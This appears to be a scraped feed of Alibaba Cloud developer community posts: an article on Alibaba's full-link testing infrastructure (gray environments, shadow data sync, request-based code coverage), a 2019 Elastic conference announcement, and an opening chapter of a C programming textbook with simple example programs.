        JVM 修改时间: 环境能力是从阿里两三年前开始构建的,当时是隔离环境,专供给压测使用的。当时的能力可以将环境隔离出来且不会影响线上。隔离能力是之前压测所具备的一个基础能力,在隔离能力之上,阿里开始研究是否需要具备时间修改的能力。时间修改主要是两个方案。首先是修改机器时间,其缺点是需要改很多物理机或者物理机上某几台虚拟机,但虚拟机可能不在隔离环境,可控性非常差。阿里最终选择了第二套方案,JVM 修改时间。将系统时间在初始化在界面布置时做一个偏移,可以令系统在启动时的时间设为已经偏移好的系统。JMV 修改时间最基本的时间控制的能力。

        隔离环境: 阿里起初建设的隔离环境时并没有很完善,其中包括环境的 HTTP 入口,ACL 的流量,或者直接从 VIP 入口过来。入口梳理不全会导致被修改过时间的系统上跑了一些线上的流量,这是极其可怕的。

        流量大图: 有了流量大图之后,非预期的流量可以看得非常清楚,可以作为兜底保护。在发现有非预期的流量进来之后,执行一套控制机制。如一些应用在隔离环境上部署,而有一些应用是隔离环境上没有部署的,应用之间相互调用时,一旦发现下游的应用没有在隔离环境里出现,则会有一个 fall back 机制重新让它回到线上。进行了整体的逻辑梳理后,可以分清哪些应用需要修改时间,哪些应用不需要修改时间。

        灰度环境: 2018 年阿里开始做灰度环境,灰度环境是隔离环境的升级版,其最主要特点是具备多套环境能力。一旦环境的使用方越来越多,可以在多套环境之间切换。

        能力升级: 除了多套环境之外,阿里还开发了一些能力的升级,如流量定制,资源管控和灰度流程。流量定制可以定制比如 8 套环境,定制不同流量到到不同的环境中,可以互不干扰。资源管控包括环境的申请,业务方可以通过接口方式调用申请环境,也可以对环境进行扩容或释放。并且整个发布流程跟阿里的发布系统 Aone 进行了打通。越来越多的发布需要走预发环境,beta 环境,或者 SPE 环境。灰度环境跟 Aone 打通之后,预发环境执行完后可以走到灰度环境进行发布,灰度环境验证通过之后再上线。

        3.png

        2. 数据能力

        业务关联表的维护:数据层面真正需要关心的业务很多。如用户层面包括用户收货地址、积分、淘金币、卡券红包、资产类和购物车等信息,以及用户信息的脱敏,包括用户手机号、收货地址等。商品层面包括商品优惠、运费模板、服务、库存和店铺卖家信息等。业务关联表的维护包含两部分。首先是购物车方面,既用户层面的加上商品层面。另外一部分是新玩法的模拟。如预售时 N 免 1 或者双 11 购物券,需要将相应玩法的库表进行同步。预售商品还包括预售订单以及后面尾款的推进。根据 2017 年数据,整体具备的能力达到 1.07 亿用户,4379 万的商品,165 台机器 12 小时做整体的数据同步,数据同步的量级达到 65 亿。

        3. 执行

        执行需要做全链路模型的构建。首先,必填项不会修改,且会相应完善,如果没有必填项信息则无法下单,如选择门店、身份证、手机号等。此外,按最优尽量多的覆盖逻辑,比如收货地址会选择当前地址首选收货地址、卡券红包默认勾选、购物车尽量多的选择用户当前购物车里面的商品。按比例模型包括 PC 无线固定的占比、购物车立即购买、淘金币积分的比例。

        4. 校验

        此外,阿里在下单方面补充了校验能力。通过执行大量用例衡量测试效果,构造过程中的失败分析。构造完之后去下单并返回返回值,再校验返回值。BCP 是阿里通过规则做校验的框架,用来做消息的校验和数据的校验。

        5. RBC—基于请求的代码覆盖

        发现有错误码之后,需要逐个对错误码进行分析,这时就引出 RBC。错误码一旦真正跑出来,由于用例非常多,发现的错误也非常多。此时需要一个机制做不同的错误码的分析。即使是相同的错误码,经过的路径可能是不一样的。因此阿里实现的 RBC—基于请求的代码覆盖工具,起初在发现很多错误码情况下做错码的分类,目前可以做当前执行情况的分析。

        RBC 的特点首先是基于请求的代码覆盖,与传统的代码覆盖不同,传统代码覆盖是跑一两个小时或者跑半天,然后停掉覆盖率,再覆盖数据收集上来。而 RBC 会将每一个请求生成一个覆盖率的文件。另外,RBC 具备跨应用聚合能力,在不同应用间通过 trace 做聚合。在跑很多用例之后,RBC 可以推荐真正有效的用例。后续可以通过有效用例集做持续集成回归。

        三、全链路功能-结果

        1.2016 年双 11

        自 2016 年,阿里开始实现全链路功能,可同步 1.07 亿的买家,4379 万加购商品,覆盖八大类优惠,7 种红包玩法,覆盖积分,淘金币等 4 类资金交易工具,覆盖天猫超市,国际等 6 大垂直业务。执行用例达到亿级,并发现了三个隐藏的 bug。

        2.2017 年双 11

        2017 年除了购物车提前下单之外,覆盖了一些新的核心玩法。同步 6200W 买家的加购商品 5896W 个,包含优惠 313 种,红包 17 种。核心玩法对接了多种玩法,涵盖 2017 年双 11 核心玩法,包括预售、抢先订、买返、全渠道、智慧门店、天猫出海、以及 TP3 迁移等风险较大的业务。2017 年提前发现问题 19 个,其中 7 个问题是通过线上数据订正或者是线上配置解决的,7 个是一定要线上发布的,因为全链路功能基本是在 11 月 1 号之后开始测试,7 个线上发布的 bug 都需要紧急发布。另外,发现 5 个影子问题,主要是影响压测的风险。

        3.2018 年双 11

        在购物车具体玩法覆盖的基础上添加了用例精简的回归。精简回归将购物车仿真的用例通过 RBC 的能力精简出来,精简用例可以反复运行。2018 将 3000 万的用例精简到了 46 万,46 万基本上在双 11 之前进行每日的回归。2018 双 11 新业务接入了所有核心的业务,包括飞猪回迁和新零售。此外,接入的新玩法包括信用购、新预售、零售通、优惠精简等。接入的行业大型项目包括 1 小时达与超市主站融合、招商商品大促多报项目、阿里健康 OTC 首报大促项目。贴近重点玩法提前发现了 34 个 bug,其中包括 11 个预售问题,以及 164 万笔订单无法支付尾款问题。

        4.png

        四、测试水电煤-数据、环境、RBC

        在全链路功能演进过程当中,数据、环境和 RBC 作为整个测试的基础设施,正在慢慢变成业务测试创新的驱动力,可谓是不可或缺的水电煤。

        数据能力

        数据具备怎样的能力?首先数据需要具备从线上同步到影子的能力。其次,数据需要具备脱敏规则。另外,数据可以指定商品增量同步。阿里刚开始做了全链路同步,包括同步购物车、亿级的商品、庞大的用户,都是一次性同步,量级达到 60 多亿。后来实现增量增量同步的功能,一旦指定了某个商品进行同步,商品对应的后端所有库表都可以被同步。

        环境能力

        环境能力包括多套环境,如两个相互的业务方都依赖同一应用,之间不会相互冲突。其次是动态扩缩容,无论在 beta 环境还是 SPE 环境,在环境里面机器相对来说是固定的,环境的资产投入是一次性的。动态扩缩容需要用某一套环境做一个大型活动,可以临时的去其它环境或者从线上临时将机器挪过来。动态扩缩容可以节约很大的成本。自定义引流策略支持的能力可以根据相应的 HTTP-head 信息,用户 id 或者根据相应的 IP 地址的规则进行自定义。

        RBC 能力

        RBC 具备跨应用聚合能力,在不同应用间通过 trace 做聚合。流量按代码覆盖聚合,将每一个请求生成一个覆盖率的文件,报告覆盖率。在跑很多用例之后,RBC 可以推荐真正有效的用例。

        5.png

        1.数据能力

        数据赋能-零售通-全链路精准自动化平台

        零售通是流动式的小店,包括校园店,夫妻店等店。零售通本身逻辑非常复杂,可分成几个区块。第一区块是商品区域化售卖,其中包括仓配和店配。其次是整个复杂的区域化的营销。供应链的体系包括仓组的体系,区域,城市到前置仓分级的体系。另外是仓库路由,仓库路由包括从仓到供应链的关系。零售通的背景模型组合较多,并且数据复杂。由于零售通线上数据很多,通过手工测试极其容易遗漏。此外,零售通业务迭代非常快,模型改动非常频繁。零售通会经常做较大的重构,玩法更新较快。

        6.png

        零售通的解决方法是实现了一个实时构建的模型系统。查出线上模型的模型体系,考虑商品是一口价异或是不同的单品优惠,以及店铺优惠的使用的情况,还有各个仓配的模型。模型从现场拉下来之后,可以根据模型实时匹配出线上的数据,将其同步到影子表。零售通的案例与全链路功能的案例相似,都是模拟整个下单交易的体系,相对复杂的地方是交易和优惠等部分。零售通不同点是 Join 能力,零售通复用了 PC 自动化能力和无线自动化能力。首先在线上将具体单子跑下来,线上基准模型,再与预发上的模型进行比对,做图片对比校验。下图应用了从线上读,并同步到影子写的场景。同步的库表包括会员的大量库表,商品和营销的库表。零售通整体结果是支持 100 多个项目,整个模型构造的速度达到五分钟以内。当前用例数达到 4 万,整体执行效率每分钟 2000 个,发现 30 多个 bug。

        7.png

        数据赋能-菜鸟-神舟

        菜鸟和阿里集团体系不同,菜鸟的特点是整体链路较长。菜鸟分为下单、发货、接单、下发仓、仓接单、仓出库、具体的分拨、干线揽收情况,快递员配送,以及最终妥投。整个链路涉及到两百多个应用。另外,菜鸟无法复用交易下单能力。全链路压测功能构建起来的影子体系难以复用。此外,菜鸟整体变更较多,架构升级非常频繁。架构升级频繁意味着菜鸟需要通过全链路的方式做保障。

        8菜鸟神舟.png

        神舟依赖影子链路和数据同步的能力,将商品、买家、卖家信息等基础数据进行同步,再分析线上订单情况,对线上订单进行分析和聚类后,做相应的订单的偏移。菜鸟没有直接同步订单,而是找开发包装了一个接口,接口会直接创建物流单。线上原来有个物流单,做偏移之后创建的物流单可以开始往下流转,跳开链路中下单的过程。创建物流单之后再往下去流转,与线上进行对比校验。这导致整体方案对比校验难度较高。菜鸟的校验是使用 DB 层 binlog 对比,对过程数据进行校验。记录线上快照写入的字段,维护映射关系。影子再向 DB 层插一条数据,与原来线上插入的数据进行对比。神舟开发了多种执行策略,包括预发/线上影子链路,执行模式有区间式,全链路和单链路。区间式在全链路中选择几个应用。神舟整体结果到 2019 上半年用例数达到 60000+,发现 207 个有效 bug。

        9-菜鸟.png

        2.环境能力

        环境赋能-中间件-灰度验收平台 MASA

        Pandora sar 包是一个隔离 jar 包依赖之间复杂性的容器。中间件测试团队负责维护 sar 包,包括 sar 包版本的迭代和升级。中间件测试团队遇到的困难首先是测试环境真实性不足,导致 Pandora sar 包频繁重发。在日常环境中很多情况测试不到。预发环境除了数据库共用一套之外,机器、网段和机器的配置都和线上不同。此外,Beta 环境中部分应用没有 beta 机或者没有绑定 VIP,没有隔离或者隔离不干净。小淘宝配置和代码与线上环境千差万别,导致无法非常好的应用环境。另外一个痛点是应用非常多,且用法各异。上万个应用,每个应用的用法都不同,如不同二方包的依赖,类加载顺序的不同,插件配置的不同都会导致 Pandora 启动失败。

        10-.png

        中间件测试团队的解决方法是首先使用灰度环境。从线上动态的划分机器到灰度环境里面。其优点是不需要实时保持机器都在灰度环境里,日常或许只需要 100 个应用,或者再上云验证时再多拉取一些应用。定向引流引的是功能流量和压测流量。起初 MASA 只使用了压测流量,但只有压测流量不能提供很好的服务。功能流量像现有的自动化流量,支持全链路自动化功能,创建回归的能力,中间件等。MASA 的结果在 2019 年验收 sar 包 1292 次,即表明 MASA 通过不同的策略做了 1000 多次验证。在灰度提前发现了 38 个 bug。

        11-.png

        环境赋能-新零售终端-天狼灰度平台

        新零售终端服务的业务还是较多的。终端指店员手持的终端 POS 机。目前零售通,居然之家,红星美凯龙,盒马都在使用新零售终端的 POS 做线下业务。而线上业务与线下业务在具体问题上是非常不同的。首先是线下业态直接进行灰度发布风险较大。在超市结算排队的场景,传统的灰度可能 100 台机器会灰度一两台机器,可能在某一单中顾客购买了 20 个商品,其中一个商品下单、结算时会出现问题。这个概率可能达到 1/4~1/5。灰度过程中如果按照传统方式做灰度,百分比流量的影响面是不可控的。其次,灰度一旦发现问题,回滚非常慢,若想将线上发现问题的机器回滚掉,可能需要半个小时到 1 小时。线下体验的故障影响时常是不可控的,缺乏快速恢复的能力。如果出现线下故障导致 POS 机不能结账,消费者就会把购物车丢到排队线上,还需要保安维护秩序。顾客线下购物的成本非常高,如花费半个小时到超市,又花半小时挑选物品,这时顾客得知不能结算,在线下体验会非常差。整体的风险需要额外方案去保障。

        12-.png

        对于终端服务的解决方案是使用整个环境的能力做流量定制。按 POS 做灰度,比如一共有十条 POS 线,其中一条 POS 线是可能会坏掉,则可以请顾客先不要在这条线排队,告诉顾客这台机器坏掉了,请到其它线排队,相对来说顾客会比较理解。另外一个好处是可以做到快速回滚,因为按 POS 其实是一个引流规则,引流规则可以很快的删掉,快速切流回滚,恢复线下消费。天狼灰度平台的结果是整体灰度发布验证 345 次,提前发现 13 个问题。

        新零售终端和天狼灰度平台还在一起建设灰度有效性度量标准。因为无论是通过灰度环,还是通过安全市场,灰度规则的设定还是偏向于“拍脑袋”决策。共建灰度有效性度量标准会做整个灰度的测试报告,灰度整体流量的情况做灰度范围的确定。比如,新发布的代码是否都已经被灰度流量覆盖到?如果没有覆盖到,则会有一个灰度报告出来,到灰度报告里去确认流量都是有自己线下手工验证过的,或者再补充手工测试用例确保可以覆盖到那部分代码。

        13-.png

        3.RBC—基于请求的代码覆盖

        RBC 赋能-蚂蚁国际-精准回归

        目前阿里庞大的单元测试用例,接口用例,导致回归耗时很长,以蚂蚁国际某一个核心支付应用为例,4000 个自动化的用例,通过持续集成和持续交付,代码合并之后跑一次需要 60 分钟,整体的回归非常慢,持续交付价值难以发挥。传统做法是对用例筛选分类,如通过应用或者接口做分类,维护某几个接口分别对应的用例,更新接口时只需要跑一部分用例。另一个痛点是维护关系需要定期维护。这种方式相对来说粒度较粗,准确度不高,人工投入较大。蚂蚁国际的解法是通过将用例执行引擎,接入 RBC,记录用例经过的具体代码,根据代码变更去推荐用例,做到精准推荐和精准执行。上线新的代码,相应的代码在之前执行用例时 trace 被记录下来。一旦 trace 修改过,将之前已经执行过的用例筛选出来重新做执行。

        精准回归.png

        目前,蚂蚁国际有 180+应用在使用精准回归。蚂蚁国际精准回归的应用叫 Compass。Compass 每月支持 1.25 万次精准测试的构建,单次平均节约时间 12 分钟,累积节省回归等待时间 14.4 万分钟。

        精准回顾2.png

        RBC 赋能-新零售-暴雪

        暴雪采集线上真实的流量做回放。通过采集记录应用入口流量以及下游调用的其它应用的流量,在下一次回放时直接依赖之前记录的数据做回放,生成自动执行的接口测试用例。暴雪的特点是门槛低,无需提前准备数据,也不需要提前编写脚本。暴雪第一个版本的缺点是大量的录制回放用例重复度非常高。每天有不同的消费者在下单,请求跟请求之间的逻辑覆盖差不多,并且回归的时间非常长。其缺点是执行场景不可控,而且没有沉淀,无法得知覆盖是否足够。针对上述痛点尝试对用例进行相应的打标,如识别优惠券使用的情况。打标需要对业务逻辑进行人工梳理,成本较高,整体投入非常大。

        新零售.png

        暴雪的解决方法是与 RBC 合作,通过对流量逐个请求代码覆盖收集。对流量进行精简,筛选一致和不一致的流量,提取并保存出不一样的流量。再进行用例推荐,如跑了两三天或者一星期存了很多的流量,后面又跑了一天跑出新流量,新的流量会被推荐出来,推荐给测试,测试确认新的流量确实有新的业务含义,则保存下来。同样,RBC 也被广泛使用到业务平台的天启,以及菜鸟青龙的自动化平台。目前暴雪推荐用例数目超过 50 万,整体发现 bug 的能力上佳,用户上报发现的有效的 bug 数统计超过 70 个。
        70个.png

        最后,希望有越来越多的测试产品下沉,成为驱动测试创新的水电煤。目前的一些产品,如流量的采集和回放,都可以变成一个基础设施。希望效能团队真正做出一个产品后,不停深挖每个能力。做出一个创新之后,创新所依赖的非常多的底层能力可以沉淀出来。沉淀出来的功能可以赋能非常多的产品去做创新。这时业务测试同学也可以有自己的创新空间,效能同学也会有动力更好的维护下沉的产品,更好的做测试创新,成为驱动测试创新的水电煤。最后,希望有越来越多的测试产品下沉,成为驱动测试创新的水电煤。目前的一些产品,如流量的采集和回放,都可以变成一个基础设施。希望效能团队真正做出一个产品后,不停深挖每个能力。做出一个创新之后,创新所依赖的非常多的底层能力可以沉淀出来。沉淀出来的功能可以赋能非常多的产品去做创新。这时业务测试同学也可以有自己的创新空间,效能同学也会有动力更好的维护下沉的产品,更好的做测试创新,成为驱动测试创新的水电煤。

        水没电.png

        文章来源:阿里巴巴技术质量

        开发者社区整理

        ]]>
        【热门活动】“2019 Elastic开发者大会“大约在冬季重装来袭!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

        2019 Elastic 开发者大会的脚步逐渐临近,

        一年一度的 Elastic 开发者大会就要来了!

        我们诚意邀请您来参加2019 Elastic 开发者大会,

        届时来自全国的 Elastic 顶尖高手、

        技术大拿们将齐聚北京,

        围绕 Elastic 开源产品,

        分享探讨前沿技术在多重领域的实践与应用,

        就在12月7日!

        让技术与思想的火花碰撞起来!


        Elastic 中国开发者大会 2019 (Elastic Dev Day China) 是由 Elastic 官方再一次在中国举办的开发者大会,主要围绕 Elastic 的开源产品: Elasticsearch 、Logstash、 Kibana 和 Beats 等,探讨在搜索、数据实时分析、日志分析、安全等领域的实践与应用。

        Elastic Stack 作为目前世界上最流行的数据搜索与实时分析引擎套件,全球很多著名的公司都在使用,如:Facebook,eBay,IBM,Microsoft,Uber,Cisco 等等。Elastic 的开源技术正越来越受到众多开发者的青睐,已然成为大数据领域分析工具的最佳选择。

        会议时间

        2019-12-07 周六 08:00~18:00

        会议地点

        北京·新世纪酒店(北京市东城区崇文门祈年大街8号100062)

        会议亮点

        1. Elastic 官方组织在中国召开的开发者大会
        2. Elastic 官方团队 AMA 展台(Ask me anything)
        3. Elastic 官方提供的产品动态和技术更新
        4. 来自国内一线大型企业和互联网公司的实践干货分享
        5. 涵盖搜索、日志、安全等领域的众多丰富议题
        6. 年度优秀企业用户案例分享
        7. 探讨如何成为 Elastic 认证工程师

        参会人员

        开发者、工程师、产品研发负责人
        运维人员、DevOPS、运维、技术总监
        软件架构师、运维架构师、数据分析师、数据科学家
        CTO、CIO、CEO

        早鸟票发售

        有关大会日程上线中,
        扫描下面的二维码
        即可订早鸟票

        image.png

        加入我们

        加入《Elasticsearch中文技术社区》,与更多开发者探讨交流

        8.jpeg


        订阅《阿里云Elasticsearch技术交流期刊》每月定期为大家推送相关干货

        9.png


        2019年阿里云云栖大会上,Elasticsearch背后的商业公司Elastic与阿里云Elasticsearch确定战略合作升级,在100%兼容开源的基础上,完成了ELK的完整生态云上闭环,欢迎开通使用。
        点击了解更多产品信息 ]]>
        带你读《C语言程序设计教程 第4版》之一:C语言概述-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 高等院校精品课程系列教材
        点击查看第二章
        点击查看第三章
        C语言程序设计教程
        第4版
        image.png

        朱鸣华 罗晓芳 董 明 孟 军 汪德刚 编著
        第1章

        C语言概述

        1.1程序设计的基本概念

        计算机的产生是20世纪重大的科技成果之一。计算机的飞速发展大大促进了知识经济的发展和社会信息化的进程。人与计算机交流最通用的手段是程序设计语言。当人们想利用计算机解决某个问题时,必须用程序设计语言安排好处理步骤,并存入计算机内供计算机执行,这些用程序设计语言安排好的处理步骤称为计算机程序,程序是计算机操作指令的集合。
        一个计算机程序主要包括两方面的内容:其一是关于程序实现算法的操作步骤描述,即动作描述;其二是关于算法操作对象的描述,即数据描述。曾经发明Pascal语言的著名计算机科学家沃思(Niklaus Wirth)关于程序设计提出了一个著名的公式:

        程序=算法+数据结构

        这个公式说明了程序设计的主要任务,也说明了在程序设计过程中“算法”与“数据结构”密不可分的关系。用程序设计语言编制一个能完成某项任务的计算机程序的过程叫作程序设计。用计算机解决一个实际问题,首先应进行程序设计,而程序设计主要包括对数据以及处理问题的方法和步骤的完整而准确的描述。
        数据是操作的对象,操作的目的是对数据进行处理,以得到期望的结果。对数据的描述,就是指明在程序中要用到数据的哪些类型和组织形式,即数据结构;对问题的方法和步骤的描述,即计算机进行操作的步骤,也就是所采用的算法。
        对于程序设计初学者来说,要学会如何设计一个正确的程序,首先要认真考虑和设计数据结构及操作步骤。一个正确的程序通常包含两方面的含义:一是书写正确,二是结果正确。书写正确是程序在语法上正确,符合程序语言的规则;而结果正确通常是指对应于正确的输入,程序能够产生所期望的输出。程序设计除了以上两大要素之外,还涉及程序设计的思想和所用的具体语言工具及环境,可以详细地描述为:

        程序设计=算法+数据结构+程序设计方法+语言工具和环境

        这4个方面是程序设计人员应具备的基本知识。其中,算法是灵魂,解决“做什么”和“怎么做”的问题,不了解算法就谈不上程序设计。程序中的操作语句就是对算法的实现。算法是从计算机操作的角度对解题过程的抽象,数据结构是从如何组织被处理对象的角度进行抽象。本书不是以数据结构和算法为主展开讨论的,而是着重介绍利用C语言进行程序设计的基本方法。
        程序设计方法是从宏观的角度处理问题的方法,如结构化程序设计、面向对象的技术等。工具包括使用的程序设计语言及相关的编译系统和调试工具。
        程序设计的另一个关键是必须选择且掌握一种程序设计语言,因为程序设计语言是人和计算机直接交流的工具。
        程序设计语言通常分为三类:机器语言、汇编语言和高级语言。
        机器语言是指由二进制代码组成的,不需翻译就可以被计算机直接执行的指令的集合。这是一种面向机器的语言,执行效率高,但通用性和可读性都很差。
        为了克服这些缺点,产生出一种符号语言,也称为汇编语言。对于用汇编语言编写的程序,计算机不能直接识别,需要汇编程序把它翻译成机器代码。它比机器语言使用起来方便,但通用性仍然很差。
        人们把直接表示数学公式和解题方法的语言称为高级语言。这种语言直观通俗,非常接近于人们的“自然描述”语言,便于编写、阅读、修改和维护,通用性强。用高级语言编写的源程序,机器也是不能识别的,必须通过编译程序或解释程序进行翻译,最终生成机器语言程序。目前程序设计语言有很多,新的语言不断涌现。各类语言都有其特点和适用的领域。本书介绍C语言。
        最后一项指的是,要选择一个合适的集成开发环境(Integrated Development Environment,IDE)。IDE是集成了程序员语言开发中需要的一些基本工具、基本环境和其他辅助功能的应用软件。IDE一般包含四个主要组件:源代码编辑器(editor)、编译器(compiler)、解释器(interpreter)和调试器(debugger)。开发人员可以通过图形用户界面(GUI)访问这些组件,并且实现整个代码编译、调试和执行的过程。现在的IDE也提供帮助程序员提高开发效率的一些高级辅助功能,比如代码高亮、代码补全和提示、语法错误提示、函数追踪、断点调试等。

        1.2C语言发展简史

        C语言是一种通用的程序设计语言,由于它很适合用来编写编译器、操作系统,并进行嵌入式系统开发,因此被称为“系统编程语言”,但它同样适用于编写不同领域中的应用程序。
        1. C语言的产生
        C语言是一种被广泛应用的计算机高级程序设计语言,是在B语言的基础上发展起来的,它经历了不同的发展阶段。
        早期的系统软件设计均采用汇编语言,例如,大家熟知的UNIX操作系统。尽管汇编语言在可移植性、可维护性和描述问题的效率等方面远远不及高级程序设计语言,但是一般的高级语言有时难以实现汇编语言的某些功能。
        那么,能否设计出一种集汇编语言与高级语言的优点于一身的语言呢?这种思路促成了UNIX系统的开发者(美国贝尔实验室的Ken Thompson)于1970年设计出了既简单又便于硬件操作的B语言,并用B语言写了第一个UNIX操作系统,这个操作系统先在PDP-7上实现,1971年又在PDP-11/20上实现。
        B语言的前身是BCPL(Basic Combined Programming Language),它是英国剑桥大学的Martin Richards在1967年基于CPL语言设计的,而CPL语言又是在1963年基于ALGOL 60产生的。
        1972~1973年,贝尔实验室的D. M. Ritchie在B语言的基础上设计出C语言,该语言弥补了B语言过于简单、功能有限的不足。
        1973年,Ken Thompson和D. M. Ritchie合作将90%以上的UNIX代码用C改写。随着改写UNIX操作系统的成功,C语言也逐渐被人们接受。
        1987年以后,C语言已先后被移植到大、中、小、微型机上,并独立于UNIX和PDP,从而得到了广泛应用。
        2. C语言的发展和应用
        1978年,B. W. Kernighan 和D. M. Ritchie合写了一本经典著作——《C程序设计语言》(The C Programming Language,中文版、影印版均已由机械工业出版社引进出版),它奠定了C语言的基础,被称为标准C。
        1983年,美国国家标准学会(ANSI)根据C语言问世以来的各种版本对C的发展和扩充,制定了新的标准,称为ANSI C。1987年又公布了新标准,称为87 ANSI C。目前流行的多种版本的C语言编译系统都是以此为基础的。
        在ANSI标准化后,C语言的标准在相当一段时间内都保持不变,直到20世纪90年代才进行了改进,这就是ISO 9899:1999(1999年出版)。这个版本就是通常提及的C99。它于2000年3月被ANSI采用。
        3. C语言和C++语言交融发展
        由于C语言是面向过程的结构化和模块化的程序设计语言,当处理的问题比较复杂、规模庞大时,就显现出一些不足,由此面向对象的程序设计语言C++应运而生。C++的基础是C,它保留了C的所有优点,增加了面向对象机制,并且与C完全兼容。绝大多数C语言程序可以不经修改直接在C++环境中运行。

        1.3C语言的特点

        C语言作为一种古老而常青的经典编程语言,具备了现代程序设计的基本结构和元素,其语法是许多语言的基础。目前C语言在各类语言排行榜中始终名列前茅,它具有以下优点:
        1)兼具高级、低级语言的双重能力。C语言允许直接访问物理地址,能进行位操作,能实现汇编语言的大部分功能,可以直接对硬件进行操作,所以又被称为中级语言。
        2)生成的目标代码质量好,程序执行效率高。C语言具有汇编语言的许多特性,一般只比汇编程序生成的目标代码效率低10%~20%,可以开发出执行速度很快的程序。
        3)语言简洁,结构清晰。C程序通常是由若干函数组成的,强大的函数功能为程序的模块化和结构化提供了保证,因此程序简洁清晰,可读性强。
        4)语言表达能力强。C语言运算符丰富,例如,在C语言中,把括号、赋值、强制类型转换等都作为运算符处理。C语言具有现代化语言的各种数据结构,如整型、字符型、数组型、指针型、结构体和共用体等,而且具有结构化的控制语句。
        5)程序通用性、可移植性好。C语言没有依赖于硬件的输入/输出语句,而采用系统的库函数进行输入/输出操作,因此C语言不依赖于任何硬件系统,这种特性使得用C语言编写的程序很容易移植到其他环境中。
        当然,C语言也有自身的不足,和其他高级语言相比,其语法限制不太严格,例如,对变量的类型约束不严格,影响程序的安全性,对数组下标越界不进行检查等。从应用的角度来看,C语言比其他高级语言较难掌握。
        总之,C语言既具有高级语言的特点,又具有汇编语言的特点;既是一个成功的系统设计语言,又是一个实用的程序设计语言;既能用来编写不依赖计算机硬件的应用程序,又能用来编写各种系统程序。它是一种深受欢迎、应用广泛的程序设计语言。

        1.4简单C语言程序举例

        在这一节中,我们通过两个简单的C语言程序例子来介绍C语言的程序结构,并对C语言的基本语法成分进行相应的说明,以便使读者对C语言程序有一个大致了解。
        【例1-1】计算矩形的面积。

        #include <stdio.h>            //1:编译预处理
        int main( )                        //2:主函数
        {                                //3:函数体开始
            float  h, w, area;                //4:声明部分, 定义变量
            h=10.5;                        //5:以下4条C语句为执行部分,给变量h和w赋值
            w=20.5;
            area=h*w;                      //7:计算矩形的面积
            printf("area=%6.2fn", area);      //8:输出area的值
            return 0;                           //9:返回值为0
        }                                   //10:函数体结束
        

        运行结果:
        area=215.25
        每行中以“//”开始的右边的文本表示程序注释的内容。
        第1行:是一个编译预处理,在程序编译前执行,指示编译程序如何对源程序进行处理。它以“#”开头,结尾不加分号,以示和C语句的区别。
        第2行:main表示主函数,每一个C程序都必须有一个主函数,int表示主函数为整型。函数体由第3行和第9行的一对花括号括起来。
        第4行:是变量声明部分,定义变量h、w和area为实型变量。
        第5和6行:是两条赋值语句,给变量h赋值10.5,w赋值20.5。
        第7行:将算术表达式h*w的值赋予变量area。
        第8行:调用函数printf输出矩形面积值。
        第9行:向操作系统返回一个零值,如果程序不能正常执行,则会自动向操作系统返回一个非零值,一般为-1。
        上面的主函数构成了一个完整的程序,称为源程序。它以文件的方式存在,文件中包含函数的源程序代码。C语言规定保存C源程序文件的扩展名为“.c”。
        【例1-2】计算两个矩形的面积之和。
        /*本程序用来计算两个矩形的面积之和。包括主函数int main( )、
        一个子函数double area(double h, double w )*/

        #include <stdio.h>                     //1:编译预处理
        double  area(double  h, double  w )    //2:定义函数area
        {
          double s;
          s=h*w;
          return s;                   //6:返回s的值, return是关键字
        }
        int main( )                    //8:主函数
        {
          double  h1, h2, w1, w2, s1, s2;    //10:声明部分, 定义变量
          h1=10.5; w1=20.5;
          h2=1.5*h1; w2=1.5*w1;           //12:计算变量h2, w2的值
          s1=area(h1, w1);                 //13:调用area函数, 将得到的返回值赋给变量s1
          s2=area(h2, w2);
          printf("area=%6.2f n ", s1+s2);      //15:输出两个矩形的面积之和
          return 0;
        }

        运行结果:
        area=699.56
        本程序包括主函数main、函数area(被主函数调用)和一个编译预处理指令。
        最前面两行中 /……/内的文本也表示程序注释的内容,这种方式一般用于表示多行注释。
        第2行:从该行开始到第6行定义函数area,包括函数类型、函数名和函数体等部分。
        第13和14行:调用函数area,将两次调用的返回值分别赋给变量s1和s2。
        第15行:计算并输出两个矩形的面积之和。
        上面两个函数构成了一个完整的程序,称为源程序。可以把这两个函数放在一个文件中,当程序语句多的时候也可以分别以函数为单位放在两个以上的文件中,保存C源程序文件的扩展名为“.c”。

        1.5C语言程序的组成与结构

        通过以上两个例子,我们对C语言程序的组成和结构有了初步和直观的了解,总结如下:
        1)一个C语言程序的主体结构是由一个或若干个函数构成的。这些函数的代码以一个或若干个文件的形式保存。这些函数中必须有且只能有一个名为main的主函数。
        2)主函数main是程序的入口,它可以出现在程序的任何位置。一个C程序总是从主函数main开始执行,最后结束于主函数。
        3)C程序中的函数包括:主函数main,用户自定义函数(例如,例1-2中的area),系统提供的库函数(例如,输出函数 printf)。
        4)函数由函数头和函数体两部分组成,函数头由函数类型的定义、函数名和参数表组成,函数体由声明部分(所使用变量和函数的说明)和若干执行语句组成。
        5)语句由关键字和表达式组成,每个语句和声明部分的结尾都必须加分号。复合语句的开头和结尾使用左、右花括号{ }。
        关键字是由C语言系统规定的具有特定功能的固定字母组合。例如,例1-2中的 int、double和return就是关键字。
        用运算符将操作对象连接起来、符合C语言语法的式子称为表达式。表达式的组成元素有:变量、常量、函数调用、运算符。这些组成元素是以标识符和关键字等形式存在的。例如,例1-2中的h2=1.5*h1和 w1=20.5 都是表达式。
        6)程序中“/ /”内的文字是程序的注释部分,是便于阅读理解程序的解释性附加文本,程序编译器完全忽略注释部分的内容。此外,在程序调试时,也可以将一部分代码转换为注释保留,而不必删除,以提高程序调试的效率。
        另外,一些C语言开发工具还支持用“//”标识注释部分,如果某行程序代码前面插入符号“//”,该符号后面的部分就变为注释行,并且本行有效,不能跨行。一般情况下,如果注释内容在程序中占用多行,习惯用“/ /”,而单行注释内容用“//”标识即可。
        从以上分析可以发现,C程序的组织和构造与日常文章的结构很类似,如表1-1所示。

        表1-1文章和C语言对应的层次结构

        image.png
        在一般语言的学习过程中,首先学字、词组,然后造句,阅读范文,最后写作文。现在学习计算机语言,我们也同样遵循这个规律,即先学习常量、变量的类型和定义方法,然后依次学习表达式、语句和函数等,同时阅读一些程序范例,最后编写程序。当然二者也有本质上的区别,一般语言的学习以形象思维为主,而计算机语言的学习是以逻辑思维为主。C语言程序的层次结构如图1-1所示。
        image.png

        图1-1C语言程序的层次结构

        1.6C语言程序的开发步骤

        一个C语言程序从最初编写到得到最终结果,大致经过以下几个步骤:
